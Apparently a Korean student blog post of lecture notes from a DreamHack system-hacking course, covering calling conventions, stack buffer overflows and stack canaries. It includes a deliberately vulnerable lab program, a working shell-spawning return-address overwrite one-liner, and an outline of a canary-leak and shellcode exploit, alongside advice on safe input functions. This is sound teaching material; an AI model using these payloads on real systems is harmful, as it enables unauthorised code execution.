본문 바로가기

3. Pwnable (포너블)/2) 개념 정리

[2025.04.04] 3주차 활동_Pwnabless

참고 강의: 드림핵(DreamHack) - System Hacking

 

System Hacking

 

dreamhack.io


STAGE 5.  Stack Buffer Overflow

[ 함수 호출 규약 ]

함수의 호출 및 반환에 대한 약속

(함수 호출 시 반환된 이후를 위해 호출자(Caller)의 상태(Stack Frame) 및 반환 주소(Return Address)를 저장해야 함)

 

호출자는

1. 피호출자(Callee)가 요구하는 인자를 전달해줘야 함

2. 피호출자의 실행이 종료될 때는 반환값을 전달받아야 함

한 함수에서 다른 함수 호출 시
프로그램 실행 흐름 → 다른 함수로 이동

호출한 함수가 반환하면
다시 원래 함수로 돌아와서 기존의 실행 흐름 이어감

 

※ 함수 호출 규약 적용은 컴파일러의 몫이기 때문에

      컴파일러의 도움 없이 어셈블리 코드 작성 또는 어셈블리로 작성된 코드를 읽고자 한다면

       함수 호출 규약을 알아야 할 필요 有

 

[ 함수 호출 규약의 종류 ]

x86(32bit) 아키텍처 → 레지스터의 수가 적으므로 스택으로 인자를 전달하는 규약 사용

x86-64 아키텍처        → 레지스터의 수가 많으므로

                                            적은 수의 인자: 레지스터만 사용

                                            많은 수의 인자: 스택 사용

x86 함수 호출 규약
종류 사용 컴파일러 인자 전달 방식 스택 정리 적용
stdcall MSVC Stack Callee WINAPI
cdecl GCC, MSVC Stack Caller 일반 함수
fastcall MSVC ECX, EDX Callee 최적화된 함수
thiscall MSVC ECX(인스턴스)
Stack(인자)
Callee 클래스의 함수
x86-64 함수 호출 규약
종류 사용 컴파일러 인자 전달 방식 스택 정리 적용
MS ABI MSVC RCX, RDX, R8, R9 Caller 일반 함수,
Windows Syscall
System ABI GCC RDI, RSI, RDX, RCX, R8, R9, XMM0-7 Caller 일반 함수

 

※ CPU의 아키텍처가 같아도 컴파일러가 다르면 적용하는 호출 규약이 다를 수 있음

e.g.

C언어 컴파일 → 윈도우: MSVC / 리눅스: gcc 사용

 

x86-64 아키텍처에서 MSVC: MS x64 호출 규약 적용gcc: SYSTEM V 호출 규약 적용

 

 SYSV(SYSTEM V)

 

리눅스는 SYSTEM V(SYSV) Application Binary Interface(ABI)를 기반으로 제작

(SYSV ABI: ELF 포맷, 링킹 방법, 함수 호출 규약 등의 내용 담고 있음)

 

$ file /bin/ls
/bin/ls: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV) ...

file 명령어를 이용해 바이너리의 정보를 살펴본 결과, SYSV 문자열이 포함된 것 확인 가능

 

특징

1. 6개의 인자를 RDI, RSI, RDX, RCX, R8, R9에 순서대로 저장

    (더 많은 인자를 사용해야 할 때는 스택을 추가로 사용)

2. 호출자(Caller)에서 인자 전달에 사용된 스택 정리

3. 함수 반환 값은 RAX로 전달

 

 상세 분석

# 컴파일할 코드

// Name: sysv.c
// Compile: gcc -fno-asynchronous-unwind-tables  -masm=intel \
 //         -fno-omit-frame-pointer -S sysv.c -fno-pic -O0
 #define ull unsigned long long
 ull callee(ull a1, int a2, int a3, int a4, int a5, int a6, int a7) {
  ull ret = a1 + a2 + a3 + a4 + a5 + a6 + a7;
  return ret;
 }
 void caller() { callee(123456789123456789, 2, 3, 4, 5, 6, 7); }
 int main() { caller(); }

 

1. 인자 전달

gdb로 sysv를 로드한 후 중단점을 설정해 caller 함수까지 실행

context의 DISASM을 보면 caller+10부터 caller+37 까지 6개의 인자를 각각의 레지스터에 설정하고 있음

caller+8에서는 7번째 인자인 7을 스택으로 전달하고 있음

 

callee 함수를 호출하기 전까지 실행 레지스터 & 스택 확인

disass 명령어로 caller()의 디스어셈블된 코드를 보고 callee()를 호출하는 부분 파악 후 해당 부분에 중단점 설정

 

c 명령어를 사용해 프로그램 실행 → callee()를 호출하기 직전에 멈춤

소스코드에서 callee(123456789123456789, 2, 3, 4, 5, 6, 7)로 함수 호출

인자들이 순서대로 rdi, rsi, rdx, rcx, r8, r9, [rsp]에 설정되어 있는 것 확인 가능

 

2. 반환 주소 저장

si 명령어 입력 → call이 실행되고 스택 확인 → 0x555555554682가 반환 주소로 저장

                                                                                                   (이는 callee 호출 다음 명령어 주소)

즉, 반환 후 위 주소로 원래 흐름으로 돌아갈 수 있음

 

si로 push rbp 실행 후 확인

 

3. 스택 프레임 저장

rbp → 스택프레임의 가장 낮은 주소를 가리키는 포인터(Stack Frame Pointer, SFP)

rbp값인 0x7fffffffe300가 저장된 것 확인 가능

 

4. 스택 프레임 할당

mov rbp, rsp 명령어 사용

→ rbp랑 rsp가 같은 주소를 가리킬 수 있게 지정

 

이후 rsp 값을 빼면 새로운 스택 프레임으로 할당해야 하지만,

피호출자(callee)는 지역 변수를 사용하지 않으므로 새로운 스택 프레임 미생성

callee에서 ret이라는 변수는 지역 변수가 아닌가?
ret를 선언하기는 했으나, 반환 값을 저장하는 용도 외로는 사용하지 않음
gcc는 이런 변수에 대해 스택을 할당하지 않고 rax를 직접 사용

 

5. 반환값 전달

덧셈 연산을 모두 마치고, 함수의 종결부(Epilogue)에 도달 시 반환값을 rax에 옮김

→ 반환 직전에 rax를 출력하면 7개 인자의 합인 123456789123456816 확인 가능

 

6. 반환

저장해둔 스택  프레임과 반환 주소를 꺼냄

callee 함수가 스택 프레임을 만들지 않아 pop rbp로 스택 프레임을 꺼낼 수 있음

그러나 일반적으로 leave 명령어 사용

 

스택 프레임을 꺼낸 뒤에는 ret로 복귀

sfp → rbp / 반환주소 → rip 설정 확인 가능

 

cdecl

 

x86 아키텍처 호출 규약

레지스터의 수가 적으므로 스택을 통해 인자를 전달

인자 전달을 위해 사용한 스택을 호출자가 정리

 

인자 전달 과정

마지막 인자부터 첫 번째 인자까지 거꾸로 스택에 push

 

[ 스택 버퍼 오버플로우 ]

스택의 버퍼에서 발생하는 오버플로우

버퍼(Buffer)

 

데이터가 목적지로 이동되기 전에 보관되는 임시 저장소

빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용을 하도록 역할

 

지역변수: 스택 버퍼

힙에 할당된 메모리 영역: 힙 버퍼

⚲ 버퍼링(Buffering)
송신 측의 전송 속도가 느려서 수신 측의 버퍼가 채워질 때까지 대기하는 것

 

버퍼 오버플로우(Buffer Overflow)

 

버퍼가 넘치는 현상

어떤 메모리 영역에서 발생해도 큰 보안 위협으로 이어짐

⚲ 스택 오버플로우 vs 스택 버퍼 오버플로우
스택: 실행 중 동적으로 크기 확장 가능 (무한X)

스택 오버플로우: 스택 영역이 너무 많이 확장되어 발생하는 버그
스택 버퍼 오버플로우: 스택에 위치한 버퍼의 크기보다
                                         많은 데이터가 입력되어 발생하는 버그

 

공격 예시 1. 중요 데이터 변조

버퍼 오버플로우가 발생한 버퍼 뒤에 중요한 데이터 존재

→ 해당 데이터가 변조됨으로써 문제 발생

 

main()

argv[1]을 check_auth 함수의 인자로 전달 후 반환 값 받음

반환 값이 = 0 → "Access Denied!" / ≠ 0 → "Hello Admin!" 출력

 

check_auth()

16바이트 크기의 temp 버퍼에 입력받은 패스워드 복사 후

"SECRET_PASSWORD" 문자열과 비교

서로 같다면 auth를 1로 설정하고 반환

 

※ check_auth에서 strncpy 함수를 통해 temp 버퍼 복사 시

    temp 크기인 16바이트가 아닌 ㅇ니자로 전달된 password의 크기만큼 복사 진행

   

∴ argv[1]에 16바이트가 넘는 문자열 전달 시

   이들이 모두 복사되어 스택 버퍼 오버플로우 발생

 

auth는 temp 버퍼 뒤에 존재

temp 버퍼에 오버플로우를 발생시키면 auth의 값을 0이 아닌 임의의 값으로 변경 가능

실제 인증 여부와는 상관없이 main 함수의 if(check_auth(argv[1]))는 항상 참이 됨

 

 

공격 예시 2. 데이터 유출

C언어에서 문자열은 null 바이트로 종결됨

 

버퍼에 오버플로우가 발생할 경우 다른 버퍼 사이에 있는 null 바이트 모두 제거→ 해당 버퍼 출력 + 다른 버퍼의 데이터도 같이 출력 가능

 

8바이트 크기의 name 버퍼에 12바이트 크기로 입력 받음

secret 버퍼 사이에 barrier라는 4바이트의 null 바이트로 채워진 배열 존재

오버플로우를 아용해 null 바이트를 모두 다른 값으로 변경 시 secret 읽기 가능

 

 

공격 예시 3. 실행 흐름 조작

함수의 반환 주소 조작 시 프로세스의 실행 흐름 바꾸기 가능

 

win()의 주소 출력 후 8바이트 버퍼 buf에 32바이트 크기로 입력 받음

saved RBP 값 8바이트와 반환 주소 8바이트가 있으므로

b'A' * 16 이후에 win() 주소를 이어 붙이면 

win() 함수 호출 가능

 

[ 반환 주소 조작 실습 ]

// Name: rao.c
 // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
 
 #include <stdio.h>
 #include <unistd.h>
 
 void init() {
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 }
 
 void get_shell() {
 char *cmd = "/bin/sh";
 char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
 }
 
 int main() {
 char buf[0x28];
 init();
 printf("Input: ");
 scanf("%s", buf);
 return 0;
 }

 

1. 취약점 분석

scanf(“%s”, buf)

%s → 입력 길이 제한 無

      → 버퍼의 크기보다 큰 데이터 입력 시 오버플로우 발생 가능성 有

 

∴ scanf에 %s 포맷 스트링은 절대로 사용 X

   정확히 n개의 문자만 입력받는 "%[n]s" 형태로 사용해야 함

 

 

2. 트리거(trigger)

취약점을 발현시킴

$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    1828520 segmentation fault (core dumped)  ./rao

취약점을 트리거하기 위해 "A" 문자 64개 입력

 

segmentation fault

→ 프로그램이 잘못된 메모리 주소에 접근했다는 의미

    (프로그램에 버그 발생)

 

core dumped

→ 코어파일(core) 생성

    (프로그램이 비정상 종료될 시 디버깅을 돕기 위해 운영체제가 생성해줌)

 

 

3. 코어 파일 분석

$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400729 in main ()
...
pwndbg>
# segfault 발생 시 프로그램 상태

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x400729 <main+65>    ret    <0x4141414141414141>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffc86322f8 ◂— 'AAAAAAAA'
01:0008│     0x7fffc8632300 ◂— 0x0
02:0010│     0x7fffc8632308 —▸ 0x4006e8 (main) ◂— push rbp
03:0018│     0x7fffc8632310 ◂— 0x100000000
04:0020│     0x7fffc8632318 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */
05:0028│     0x7fffc8632320 ◂— 0x0
06:0030│     0x7fffc8632328 ◂— 0x14b87e10e2771087
07:0038│     0x7fffc8632330 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */

프로그램이 main 함수에서 반환 시도

스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')임을 알 수 있음

→ 실행가능한 메모리의 주소가 아님 → 세그먼테이션 폴트 발생

∴ 해당 값이 원하는 코드 주소가 되도록 적절한 입력해주면

     main 함수에서 반환될 때 원하는 코드가 실행되도록 조작할 수 있을 것

 

[ 익스플로잇 ]

1. 스택프레임 구조 파악

# scanf() 함수를 호출하는 어셈블리 코드

pwndbg> nearpc
   0x400706             call   printf@plt 

   0x40070b             lea    rax, [rbp - 0x30]
   0x40070f             mov    rsi, rax
   0x400712             lea    rdi, [rip + 0xab]
   0x400719             mov    eax, 0
 ► 0x40071e             call   __isoc99_scanf@plt <__isoc99_scanf @plt>
        format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
        vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4:       "%s"__isoc99_scanf

오버플로우를 발생시킬 버퍼의 위치

→ rbp-0x30

rbp에 스택 프레임 포인터(SFP) 저장, rbp+0x8에는 반환 주소 저장

 

2. get_shell() 주소 확인

# get_shell() 함수

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};

   execve(cmd, args, NULL);
}
# gdb를 이용한 get_shell() 주소 찾기

$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit

main 함수의 반환 주소를 get_shell() 함수 주소로 덮어서 셸 획득 가능

get_shell() 함수 주소 → 0x4006aa

 

 

3. 페이로드 구성

페이로드(Payload)

공격을 위해 프로그램에 전달하는 데이터

 

"A" 0x30       "B" 0x8         get_shell() 

    0x30               0x8                   0x8

 

페이로드에 의해 오염되는 스택 프레임

"A" 0x30         → buf

 "B" 0x8          → SFP

get_shell()    → return address

 

 

4. 엔디언 적용

엔디언(Endian)

메모리에서 데이터가 정렬되는 방식

 

리틀 엔디언(Little Endian, LE) → 데이터의 MSB가 가장 높은 주소에 저장

빅 엔디언(Big Endian, BE) → 데이터의 MSB가 가장 낮은 주소에 저장

(MSB: 가장 왼쪽의 바이트(Most Significant Byte))

 

 e.g.

0x12345678

 

리틀 엔디언

low                high

78 / 56 / 34/ 12

 

빅 엔디언

low                high

12 / 34 / 56 / 78

 

 

5. 익스플로잇

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

(파이썬으로 출력한 페이로드를 rao의 입력으로 전달하는 과정)

엔디언을 적용해 페이로드 작성

이를 다음의 커맨드로 rao에 전달 → 셸 획득 가능

 

 

6. 취약점 패치

rao에서는 위험한 문자열 입력함수를 사용해 취약점 발생했었음

해당 취약점을 패치하기 위해 C언어에서 자주 사용되는 문자열 입력 함수 확인

입력 함수(패턴) 위험도 평가 근거
gets(buf) 매우 위험 입력 받는 길이 제한 없음 버퍼의 null 종결 미보장
(입력 끝에 null 바이트를 삽입하므로
버퍼를 꽉채울 시 null로 종결되지 않음

→ 버그 발생 가능성 多)
scanf("%s", buf) 매우 위험 gets와 동일 gets와 동일
scanf("%[width]s", buf) 주의 필요 width만큼만 입력 받음
(width <= size(buf) -1 만족 X →
오버플로우 발생 가능성 多)
gets와 동일
fgets(buf, len, stream) 주의 필요 len만큼만 입력 받음
(len <= size(buf) 만족 X →
오버플로우 발생 가능성 多)
버퍼의 null 종결 보장
입력값 < len → 입력 끝에 null 삽입
입력값 > len → 입력 마지막 byte 버리고 null 삽입

(데이터 유실 주의: 버퍼의 크기와 len을 30으로 작성 시 29byte만 저장되고 마지막 byte는 유실됨)


STAGE 6.  Stack Canary

함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고,

함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법

 

카나리(canary) 값의 변조가 확인되면 프로세스는 강제로 종료됨

 

스택 버퍼 오버플로우로 반환 주소를 덮으려면 반드시 카나리를 먼저 덮어야 함

카나리 값을 모르는 공격자는 반환 주소를 덮을 때 카나리 값을 변조함

→ 에필로그에서 변조가 확인되어 공격자는 실행 흐름을 획득하지 못함

 

glibc 사용

→ 카나리 맨 앞 바이트는 항상 null 바이트

[ 카나리 ]

카나리 정적 분석
# 카나리 예제 코드

// Name: canary.c

#include <unistd.h>

int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

 

1. 카나리 비활성화

Ubuntu 22.04의 gcc는 기본적으로 스택 카나리를 적용하여 바이너리를 컴파일함

-fno-stack-protector 컴파일 옵션을 추가해야 카나리 없이 컴파일 가능

 

$ gcc -o no_canary canary.c -fno-stack-protector
$ ./no_canary
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
Segmentation fault

해당 명령어로 예제를 컴파일 하고, 길이가 긴 입력을 주면

반환 주소가 덮여서 Segmentation fault가 발생

 

2. 카나리 활성화

카나리를 적용하여 다시 컴파일하고, 긴 입력을 주면

stack smashing detected와 Aborted 에러 발생

→ 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료되었음을 의미

 

카나리 동적 분석

 

추가된 프롤로그의 코드에 중단점 설정 후 바이너리 실행

 

1. 카나리 저장

main+8은 fs:0x28의 데이터를 읽어 rax에 저장

fs는 세그먼트 레지스터의 일종

프로세스가 시작될 때 fs:0x28에 랜덤 값 저장

main+8의 결과로 rax에는 리눅스가 생성한 랜덤 값이 저장

 

생성한 랜덤 값은 main+17에서 rbp-0x8에 저장

 

 

2. 카나리 검사

main+50은 rbp-8에 저장한 카나리를 rcx로 옮김

main+54에서 rcx를 fs:0x28에 저장된 카나리와 xor 연산 진행

 

두 값이 동일할 경우 연산결과 = 0

→ je 조건 만족 → main 함수에서 정상적으로 반환

두 값이 동일하지 않을 경우

→ __stack_chk_fail이 호출 → 프로그램 강제 종료

 

코드 한 줄 실행

rbp-0x8에 저장된 카나리 값이 버퍼 오버플로우로 인해 "0x4848484848484848"으로 변경

 

main+54의 연산 결과가 ≠ 0 이므로 main+63에서 main+70으로 분기 X

main+65의 __stack_chk_fail 실행

 

해당 함수가 실행되면 메세지가 출력되며 프로세스 강제 종료

 

[ 카나리 생성 과정 ]

프로세스 시작 시 TLS에 전역 변수로 카나리 값 저장

→ 각 함수는 프롤로그와 에필로그에서 해당 값 참조

 

security_init 함수에서 TLS에 랜덤 값으로 카나리를 설정하면 카나리로 보호 받는 함수에서 이를 참조해 사용

(TLS의 주소는 fs레지스터에 저장)

 

[ 카나리 우회 ]

1. 무차별 대입(Brute Force)

x64 아키텍처 → 8바이트의 카나리 생성 (실제: 7바이트)

x86 아키텍처 → 4바이트의 카나리 생성 (실제: 3바이트)

(모두 null 바이트 포함)

 

2. TLS 접근

카나리 → TLS에 저장 → 보호되는 함수마다 이를 참조해 사용

 

TLS의 주소

매 실행마다 변경

 

실행 중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 or 쓰기가 가능하다면

→ TLS에 설정된 카나리 값을 읽거나 이를 임의의 값으로 조작 가능

 

3. 스택 카나리 릭

함수의 프롤로그에서 스택의 카나리 값 저장

→ 이를 읽어낼 수 있다면 취약점을 사용해 스택을 덮을 때 카나리 검사 우회 가능

 

[ 보호기법 탐지 ]

주로 사용하는 툴: checksec

(pwntools 설치 시 같이 설치됨, ~/.local/bin/checksec에 위치)

→ 간단한 커맨드 하나로 바이너리에 적용된 보호기법 파악 가능

 

취약점 탐색

 

스택 버퍼 오버플로우

char buf[0x50];

read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

스택 버퍼인 buf에 두 번의 입력 받음

두 입력 모두에서 오버플로우 발생

 

[ 익스플로잇 시나리오 ]

1. 카나리 우회

read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

두 번째 입력으로 반환 주소를 덮을 수 있지만,

카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램 강제 종료 진행

 

첫 번째 입력에서 카나리를 먼저 구하고 이를 두 번째 입력에 사용

 

첫번째 입력의 바로 뒤에서 buf를 문자열로 출력해줌

→ buf에 적절한 오버플로우를 발생시킴 → 카나리 값 도출 가능

 

2. 셸 획득

주소를 알고 있는 buf에 셸 코드 주입 → 해당 주소로 실행 흐름 옮김 → 셸 획득 가능

 

[ 익스플로잇 ]

1. 스택 프레임 정보 수집

process, recv, recvuntil, recvn, recvline 등의 함수를 사용해 구현 가능

 

2. 카나리 릭

buf와 카나리 사이를 임의의 값으로 채우면

프로그램에서 buf 출력 시 카나리가 같이 출력

 

3. 익스플로잇

buf에 셸코드 주입 → 카나리를 구한 값으로 덮음

반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게 할 수 있음

 

context.arch, shellcraft, asm을 이용해 스크립트 추가 가능